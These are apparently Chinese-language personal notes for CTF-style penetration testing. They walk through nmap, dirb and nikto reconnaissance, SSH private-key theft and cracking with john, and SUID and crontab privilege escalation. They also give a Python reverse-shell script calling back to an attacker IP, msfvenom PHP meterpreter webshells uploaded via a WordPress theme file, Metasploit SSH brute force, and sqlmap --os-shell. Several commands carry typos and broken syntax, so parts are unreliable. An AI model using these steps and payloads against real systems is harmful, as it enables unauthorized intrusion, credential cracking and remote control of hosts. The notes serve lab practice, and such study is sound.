-nmap -sV 目标IP
1.分析端口,针对特殊端口进行探测,对开放大端口的http服务进行排查
2.针对http服务可以使用web进行测试http://ip:port
3.右键查看网页源代码
4.使用工具dirb http://ip:port/ 对服务的隐藏文件进行探测
查看敏感醒目的文件名进行访问可能会获取flag值
可以直接下载ssh私钥,进行配对,进入ssh文件夹下的私钥文件,关键名文件进行下载
给私钥可读可写权限,进入关键名文件下查看用户名等敏感信息
ssh -I id_rsa username@IP ssh2john id_isa > isacrack对私钥进行John可识别的信息 zcat /usr/share/wordlists/rockyou.txt.gz|john --pipe --rules isacrack
登陆到目标主机后查看文件,进入敏感目录/root等进行查看
find / -perm -4000 2>/dev/null 查看具有权限的文件
进入sh程序,进行cat目标文件
SSH服务渗透测试基于TCP 22端口的服务
SSH协议认证机制基于口令的安全认证
账号密码进行远程登录主机,传输数据都会被加密,但不能确认目前链接的服务器时想要链接的服务器,可能会有其他服务器进行冒充,中间人攻击
基于密钥的安全认证
依靠密钥,创建一对密钥,将公钥防砸所访问的服务器上,需要SSH链接时,客户端向服务器发送请求,使用私钥进行安全认证,服务器在目录下寻找公钥,然后进行对比,如果密钥一致,验证成功
id_rsa私钥 id_rsa.pub公钥SSh协议验证机制弱点
基于口令的安全认证
字典的暴力破解,对服务器具有一定控制权限,但不一定是root
基于密钥的安全认证
对主机进行信息搜集,获取泄漏的用户名和对应密钥
chmod 600 id_rsa ssh -I id_rsa username@ip
登陆服务器也不一定是root权限
nmap -sV IP地址 #探测开放的服务与服务版本 nmap -A -v IP地址 #探测全部信息 nmap -O IP地址 #探测操作系统类型与版本
对于SSh服务的22端口
首先考虑进行暴力破解和私钥泄漏,私钥的对应密码,私钥的用户名
对于开放http服务的80端口
首先考虑通过浏览器进行访问,http://IP地址:http服务端口,使用探测工具对http目录进行探测,dirb http://IP地址:http服务端口
特殊注意:特殊端口(大于1024的端口)
#使用nikto扫描器进行敏感信息挖掘 nikto -host IP地址 #特别注意 config等敏感文件 #对获取到的ssh密钥进行利用 #修改id_rsa权限 chmod 600 id_rsa #利用私钥登陆服务器 ssh -I id_rsa username@IP地址
注意:如果id_rsa没有解密密码,可以直接使用,如果有解密密码,需要进行对应破解
登陆服务器后进行以下操作查看当前用户 whoami 查看当前用户的权限 id 查看根目录 寻找flag文件
如果具有root权限,那么就表明已经拿下,如果不具有root权限,那就需要进行提权,一般flag文件只属于root用户组的用户
cat /etc/passwd cat /etc/group find / -user 用户名 #查看属于某些用户的文件 /tmp #查看缓冲文件目录 /etc/crontab #设定系统定期执行的任务,编辑,需要root权限,不同用户可能具有不同的定时任务 cat /etc/crontab #查看其他用户是否具有定时任务,并进行查看任务内容,执行的任务应该是对应的某个文件反弹Shell
#!/usr/bin/bash
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('攻击机IP地址','攻击机监听端口'))
os.dup2(s.fileno(),o)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
#kali中使用netcat nc -lpv #未占用端口 进行端口监听 #查看占用端口 netcat -pantu
找到可以提权的方式 #sudo su - #su -root
切换到/home/用户名 目录查看是否具有可以提升权限的文件
如果所有方法都不能进行成功渗透,那么就对SSH进行暴力破解,破解最后一个用户名,使用hydra,medusa等破解工具
git clone https://github/jeanphorn/common-password.git #下载文件 chmod +x cupp/py #赋予执行权限 ./cupp.py -i使用metasploit破解SSH
msfconsole use auxiliary/scanner/ssh/ssh_log in auxiliary(ssh_login) > set rhosts IP地址 auxiliary(ssh_login) > set username 用户名 auxiliary(ssh_login) > set pass_file 字典文件 auxiliary(ssh_login) > set threads 5 auxiliary(ssh_login) > show options auxiliary(ssh_login) > set verbose true auxiliary(ssh_login) > run优化会话
python -c "import pty;pty.spawn('/bin/bash')"
su -root
在获得了root权限后,切换目录寻找flag文件,通常flag文件在root目录下
cat flag.txt
在对SSH渗透时,一般都是利用获取的私钥文件,直接使用口令登陆,特别情况使用暴力破解获取口令,
要特别注意/tmp数据缓冲目录 /etc/crontab定时执行文件SMB信息泄漏
基于TCP -NETBIOS 一般端口139,445
用于访问网络资源,下载对应的资源文件
信息探测nmap -sV IP地址 #扫描开放服务信息 nmap -A -v -T4 IP地址 扫描IP地址全部信息
分析结果
常用端口在1~1023之间,在扫描结果中寻找特殊端口
针对大端口的http服务进行排查
针对SMB使用空口令,如果登陆成功,查看敏感文件
smbclient -L IP地址 #对目标主机进行samba登陆 smbclient '\IP目标文件夹' #进入想要查看的文件夹 get 敏感文件 #下载文件针对SMB远程溢出漏洞进行分析
searchsploit samba版本号针对http协议
浏览查看查看
使用dirb nikto探测
dirb http://IP地址登陆目标后台上传webshell 制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
将得到的webshell复制到指定目录下
gedit webshell.php启动监听
msfconsole use exploit /multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcp msf exploit(handler) > set lhost 攻击机IP地址 msf exploit(handler) > set sport 4444 msf exploit(handler) > run上传webshell
使用找到的敏感信息登陆到目标网站后台,上传webshell,执行webshell,访问具有webshell的php页面
获得反弹的shell查看攻击机监听获得的结果
wordpress 上传点 theme 404.php http://目标IP地址/wordpress/wp-content/themes/twentyfourteen/404.php
优化终端会话
python -c "import pty;pty.spawn('/bin/bash')"
查找敏感信息,提升权限
cat /etc/passwd 查找用户名以及用户权限
查找密码 在共享目录下的敏感文件,提升权限
su 用户名
sudo -l
sudo su -
对于开放的139和445端口的主机,一定注意是否可以直接使用smbclient登陆到共享目录进行敏感文件查找
flag.txt文件一般都存放在root目录下,所以要具有root权限才能查看内容
用于在Internet上控制文件的双向传输,是一个应用程序,基于不同操作系拥有不同的FTP应用程序
信息探测nmap -sV 目标IP地址 #扫描主机服务信息,服务版本 nmap -T4 -A -v 目标IP地址 #快速扫描主机全部信息
分析nmap扫描结果,根据结果,获取可利用的信息
使用searchsploit,查看漏洞信息,获取可利用的溢出代码
searchsploit 版本号 #进行探测
使用cat命令进行文件的查看
打开metasploit
msfconsloe search 对应软件以及版本号 #使用exploit use exploit #查看可使用的payload show payload #设置payload set payload #设置参数 show options set rhost 目标主机IP地址 set lhost 攻击机IP地址 #进行远程溢出 exploit #执行命令 id优化终端会话
python -c "import pty;pty.spawn('/bin/bash')"
查找flag文件,通常存放在root目录下
对于开放FTP SSH TELNET等服务的系统,通常尝试对应版本的漏洞代码,对于系统,要注意利用现成的EXP来ROOT主机
Capture the Flag 信息探测nmap -p -T4 目标主机IP地址 #扫描全部信息 namp -T4 -A -v 目标主机IP地址 #快速扫描全部信息探测敏感信息
nikto -host http://目标主机IP:端口号 dirb http://目标主机地址:端口号
#对于大端口非http服务,使用nc探测端口的Banner信息 nc IP地址 端口号 #对于大端口http服务,使用浏览器查看网页源代码,寻找Flag http://目标主机IP:端口号FTP匿名登陆
在浏览器中输入ftp://目标主机IP地址 匿名登陆ftp服务器根目录,查看敏感文件,一定要注意源代码
在站点robots.txt中寻找敏感信息,获取漏洞
命令执行,为了绕过对应限制,使用相近命令代替限制的shell 命令 cat more
利用获取到的用户名和口令进行SSH远程登录
ssh -p port 用户名@目标主机IP地址 #输入对应的口令进行登陆 pwd ls cat more #执行这四个命令来查看flag
注意未知服务端口,使用nc获取对应的Banner信息
使用功能近似的shell命令,绕过权限限制
对每个服务都进行对应探测,将所有可利用的点都进行利用
构建特殊的输入作为参数传入WEB应用程序,大多是SQL语法中的组合,执行SQL语句执行想要的操作,遭受这种攻击的原因是没有过滤用户输入的数据,导致非法数据侵入系统
任何用户可以输入的位置都可能是注入点,url,http报文,post传递的参数
SQL注入产生的原因 1,不当的类型处理 2,不安全的数据楼配置 3,不合理的查询及处理 4,不当的错误处理 5,转义字符处理不合适 6,多个提交处理不当信息探测
#扫描主机服务信息以及服务版本 nmap -sV 目标主机IP地址 #快速扫描主机全部信息 nmap -T4 -A -v 目标主机IP地址 #探测敏感信息 nikto -host http://目标主机地址:端口敏感信息利用
分析nmap nikto扫描结果
使用浏览器打开http://目标主机IP地址,查找敏感信息,找到可利用信息
WEB漏洞扫描器
owasp -zap
可在开发和测试应用程序过程中,自动发现WEB应用程序的安全漏洞,也可进行人工安全测试
针对WEb进行漏洞扫描具有SQL注入漏洞,一定直接利用,SQL注入是高危漏洞,可直接获取服务器权限
使用sqlmap利用SQL注入漏洞
sqlmap -u url -dbs #查看数据库名 sqlmap -u url -D "数据库名" -tables #查看对因数据库中的数据表 sqlmap -u url -D "数据库名" -T "表名" -columns #查看对应字段 sqlmap -u url -D "数据库名" -T "表名" -C "列名" -dump #查看对因字段的值 可直接尝试sqlmap -u url -os -shell #直接获取shell #url需要使用双引号片进行包围上传shell反弹权限
攻击机启动监听 msfconsole use exploit/multi/handler msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp msf exploit(handler) > set lhost 攻击机IP地址 msf exploit(handler) > set lport 4444 msf exploit(handler) > run #生成反弹shell msfvneom -p php /meterpreter/reverse_tcp lhost=攻击机IP地址 iport=4444 -f raw > /root/Desktop/shell.php



